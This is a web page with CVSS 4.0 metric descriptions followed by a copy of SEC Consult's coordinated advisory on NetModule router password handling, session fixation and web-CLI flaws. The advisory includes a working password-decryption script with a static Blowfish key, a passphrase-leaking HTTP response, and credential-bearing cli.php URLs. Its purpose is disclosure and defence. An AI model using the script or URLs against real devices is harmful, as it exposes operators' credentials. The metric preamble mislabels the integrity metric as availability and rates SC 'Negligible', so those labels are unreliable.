The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: NetModule Router Software Password Handling / Session Fixation
SEC Consult Vulnerability Lab Security Advisory < 20210820-0 >
=======================================================================
title: Multiple Vulnerabilities in NetModule Router Software
product: NetModule Router Software (NRSW)
vulnerable version: Before 4.3.0.113, 4.4.0.111, 4.5.0.105
fixed version: 4.3.0.113, 4.4.0.111, 4.5.0.105
CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291
impact: High
homepage: https://www.netmodule.com/en/
found: 2021-05-05
by: SEC Consult Vulnerability Lab
These vulnerabilities were discovered during the research
cooperation initiative "OT Cyber Security Lab" between
Verbund AG and SEC Consult Group.
Gerhard Hechenberger (Office Vienna)
Steffen Robertz (Office Vienna)
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"NetModule is a leading manufacturer of communication products for M2M and IoT.
One focus is on our solutions for applications in the fields of shipping, local
and long-distance public transit, and Industrial Internet. Future markets such
as Smart City, public safety, and sustainable energy and resource management
are further focus areas. The key technology here is 5G.
Our devices are certified and include the latest wireless technologies along
with multiple interfaces for applications where robust communication is
essential, such as information systems, driver communication, passenger WiFi,
remote maintenance, condition monitoring, and real-time data exchange."
Source: https://www.netmodule.com/en/about-netmodule/portrait
"Our Linux-based router software ensures reliable data connections with a wide
range of network functions and smart link management stationary and mobile.
Configuration and update options for secure operation throughout the product
life cycle and over-the-air complete the package. As a special service, we
offer you free updates and support."
"The NetModule router software (NRSW) is our standard software and runs on all
our devices. This has the advantage of being able to use identical
configuration processes and functions for every router (unless technical
restrictions dictate otherwise). It is based on proven components such as
Embedded Linux and a powerful communication protocol suite."
Source: https://www.netmodule.com/en/products/software-overview/router-software
Business recommendation:
------------------------
The vendor provides patches, which should be installed immediately.
SEC Consult recommends to perform a thorough security review of these
products conducted by security professionals to identify and resolve potential
further security issues.
We want to thank NetModule for the very professional response and great
cooperation.
Vulnerability overview/description:
-----------------------------------
1) Insecure Password Handling (CVE-2021-39289)
The device is storing passwords in an insecure way. For some of them, e.g.,
user accounts, password storage is an optional feature. For others, e.g., the
certificate password, configuration possibilities do not exist.
* Storing and sending passwords as cleartext
* Storing passwords symmetrically encrypted with a static key
2) Limited Session Fixation via Cookie (CVE-2021-39290)
An arbitrary session token cookie value can be used on the web interface. If
a session token with an arbitrary value is available, the device does not
create a new one during the login process. Also, after the logout, no new
session token will be issued. An attacker which is able to create cookies on
the victim's client (via potential HTTP Response Splitting, Malware, physical
access, ...) can use this to take over the session of the victim.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The interface supports an optional "CLI-PHP" feature, which is essentially a
PHP webshell. Authentication is needed and the credentials can be sent
as GET parameters. As GET parameters are part of the URL and URLs are
frequently stored, this may enable attackers with access to such logs to take
over the used account.
Proof of concept:
-----------------
1) Insecure Password Handling (CVE-2021-39289)
* Storing and sending passwords as cleartext
The certificate settings are located at
SYSTEM -> Keys & Certificates -> Configuration. When visiting the following
URL, the certificate password will be included in cleartext in the response:
http://<IP-address>/admin/certificates.php?action=configure
Find the response below:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=ISO-8859-1
Connection: close
Date: Mon, 26 Apr 2021 07:20:26 GMT
Server: lighttpd/1.4.39
Content-Length: 25448
[...]
<td class="c2_left">Passphrase:</td>
<td class="c2_right">
<input type="password" id="phrase" name="phrase" size=20 value="password12"
>
</td>
[...]
-------------------------------------------------------------------------------
Additionally, the password is stored in cleartext in the file
/etc/default/cert-settings on the device, the line reads:
PHRASE="password12"
* Storing passwords symmetrically encrypted with a static key
The passwords are stored in the configuration file on the device, which can
also be downloaded at SYSTEM -> File Configuration -> Download. The downloaded
ZIP file will contain a *.cfg file, which includes several encrypted passwords
(the values are prefixed with "[enc]", e.g.:
cer.settings.phrase=[enc]UauZghllTu7Jy7pF3mdkFA==
wwan.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
user.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
The used encryption is Blowfish CBC with a static key and initialization
vector, therefore, the passwords can easily be decrypted. This can be done with
the following script:
-------------------------------------------------------------------------------
#!/usr/bin/env python3
import sys
import base64
from Crypto.Cipher import Blowfish
data_b64 = sys.argv[1]
key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
data_enc = base64.b64decode(data_b64)
data_pad = cipher.decrypt(data_enc)
num_pad = int(data_pad[-1])
data = data_pad[:-num_pad]
print(data)
-------------------------------------------------------------------------------
The value in the configuration file can be decrypted as follows:
-------------------------------------------------------------------------------
$ ./netmodule_config_decrypt.py UauZghllTu7Jy7pF3mdkFA==
b'password12'
-------------------------------------------------------------------------------
2) Limited Session Fixation via Cookie (CVE-2021-39290)
The session token is stored as cookie named "PHPSESSID". To show the issue,
execute the following steps:
* Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary
value while logged out.
* Log in. Observe that the cookie remains unchanged.
* Log out. Observe that the cookie remains unchanged.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The Web CLI can be enabled at SERVICES -> Web Server -> Enable CLI-PHP.
It is available and can be used at the following URL:
http://<IP-address>/cli.php?command=status&usr=admin&pwd=password12
Vulnerable / tested versions:
-----------------------------
The following firmware/device has been tested:
* NetModule NB1600: Firmware version 4.3.0.110 LTS
According to the vendor, the following models with firmware versions before
4.3.0.113, 4.4.0.111 and 4.5.0.105 are affected:
* NB800
* NB1600
* NB1601
* NB1800
* NB1810
* NB2700
* NB2710
* NB2800
* NB2810
* NB3700
* NB3701
* NB3710
* NB3711
* NB3720
* NB3800
Vendor contact timeline:
------------------------
2021-05-25: Contacting vendor through [email protected], asking
for security contact information. Set release date to
2021-07-14. Received vendor response concerning further steps.
2021-05-26: Advisory was transmitted to head of PM and acknowledged.
2021-06-16: In a call, the vendor acknowledges the findings and ensures to
keep us updated on the upcoming release of a fixed firmware
version.
2021-07-23: The vendor provides information on the release of a fixed
firmware version on 2021-07-04.
2021-08-10: The vendor was notified about the pending release.
2021-08-19: The vendor provides information on all supported and fixed
major releases.
2021-08-20: Coordinated release of security advisory.
Solution:
---------
Update the affected devices to software version 4.3.0.113, 4.4.0.111 or
4.5.0.105. Additionally, do not use insecure features and pay close attention
to warning messages during the configuration.
For more information see vendor's release notes:
https://share.netmodule.com/public/system-software/4.3/4.3.0.113/NRSW-RN-4.3.0.113.pdf
https://share.netmodule.com/public/system-software/4.4/4.4.0.111/NRSW-RN-4.4.0.111.pdf
https://share.netmodule.com/public/system-software/4.5/4.5.0.105/NRSW-RN-4.5.0.105.pdf
Workaround:
-----------
None.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF Gerhard Hechenberger, Steffen Robertz / @2021
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